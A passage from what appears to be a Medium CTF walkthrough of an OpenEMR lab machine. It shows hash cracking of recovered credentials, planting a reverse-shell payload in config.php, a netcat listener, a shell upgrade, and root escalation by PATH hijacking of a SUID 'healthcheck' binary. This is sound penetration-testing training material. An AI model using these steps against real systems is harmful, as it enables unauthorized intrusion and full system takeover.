returned 2 credentials include a <strong>username </strong>and a <strong>password hash</strong>. The password is not obtained in plaintext at this stage.</p><p>So crack the hash by using crackstation where, username = <strong>admin </strong>and password =<strong>ackbar </strong>username=<strong>medical </strong>and password=<strong>medical</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*ROj7zEBN8upztmWCcgmP4g.png" /></figure><h3>6. Configuration File Discovery</h3><p>After obtaining access to the OpenEMR administration panel, I navigate to the Administration section and inspect the available options.</p><p>Under the File option, I identify the config.php file. The file is inspected to determine whether it contains sensitive application configuration or credential information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*T-gR12sKBWk8bjL_iDV97w.png" /></figure><h3>7. . Reverse Shell</h3><p>After accessing the config.php file through the OpenEMR administration panel, I modify the file by inserting a reverse-shell payload into the appropriate location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*0a--2u5unXUnw6IgNfCzWQ.png" /></figure><p>Before executing the payload, I configure a listener on my machine to receive the incoming connection from the target.</p><p>The modified configuration file is then triggered through the application, causing the target system to establish a connection back to my machine.</p><p><strong><em># nc -lnvp 4444</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*b3HZEhIVi9QSpu5z0y_6_A.png" /></figure><p><strong><em>Result:</em></strong></p><p>A reverse shell is successfully obtained from the target system, providing command-line access as the apache user.</p><h3>9. Obtaining an Interactive Bash Shell</h3><p>The reverse shell initially provides a basic sh shell without job control. To make the shell more interactive and easier to use, I spawn a Bash shell through Python.</p><p>I execute the following command:</p><p><strong><em># python -c ‘import pty;pty.spawn(“/bin/bash”)’</em></strong></p><p>This upgrades the basic shell to an interactive Bash shell.</p><p>10. During enumeration, I attempt to switch from the apache account to the medical user using the su command.</p><p><strong><em># su medical</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*TFClriL-KXHIG6p8C6sJtA.png" /></figure><p>This provides access to the target with the privileges associated with the medical user.</p><h3>11. User Privilege Escalation</h3><p>After obtaining access as the medical user, I enumerate SUID binaries to identify programs that execute with elevated privileges.</p><p><strong><em># find / -perm -u=s -type f 2&gt;/dev/null</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*XeSsQCEK_DjwewCB-_t4og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*oxy1LQDjyagtMzU4fGxbjQ.png" /></figure><p>Among the identified binaries, /usr/bin/healthcheck is selected for further investigation because it has the SUID permission.</p><h3>12. Healthcheck Binary Analysis</h3><p>After analyze the health check binary I inspect the strings contained in /usr/bin/healthcheck to understand how the binary operates.</p><p><strong><em># strings /usr/bin/healthcheck</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*NXUElazhT110KbMBj93v7Q.png" /></figure><p>The binary also contains a reference to clear, which indicates that the command may be resolved through the system’s PATH.</p><h3>13. PATH Hijacking</h3><p>The SUID healthcheck binary uses the clear command without specifying its absolute path. I use this behavior to test for a PATH-based privilege escalation.</p><p>I create a replacement executable named clear in /tmp and configure the PATH environment variable so that /tmp is searched before the normal system directories.</p><p><strong><em># cp /bin/bash /tmp/clear</em></strong></p><p><strong><em># export PATH=/tmp:$PATH</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*7aziQ1tufaNtZk3mCIft1g.png" /></figure><p>The modified PATH causes the healthcheck binary to execute the /tmp/clear file when it attempts to run clear.</p><h3>14. Privilege Escalation to Root</h3><p>Then after I execute the vulnerable SUID binary after modifying the PATH.</p><p><strong><em># /usr/bin/healthcheck</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*XlYSm_9nStwWEACWJ-5_1Q.png" /></figure><p>After execution, I verify the current identity using:</p><p><strong><em># id</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*0bfwfoF8se0jvIcx5YFNjA.png" /></figure><p>The id output confirms that the effective user ID is 0, which represents the root account.</p><h3>15. Root Directory Enumeration</h3><p>After obtaining root privileges, I access the /root directory and enumerate its contents.</p><p><strong><em># cd /root</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*Qrgl_Ct_xolKsIRcM8HZWA.png" /></figure><p><strong># ls -la</strong></p><p>The directory contains several files, including root.txt, which is relevant to the CTF objective.</p><h3>16. CTF Flag Retrieval</h3><p>Finally we get the root.txt file to retrieve the final CTF flag.</p><p><strong><em># cat root.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*h51Ri9lGfo1cnZetS43SRw.png" /></figure><p>The file displays the CTF completion message and flag information.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=746f9320465c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>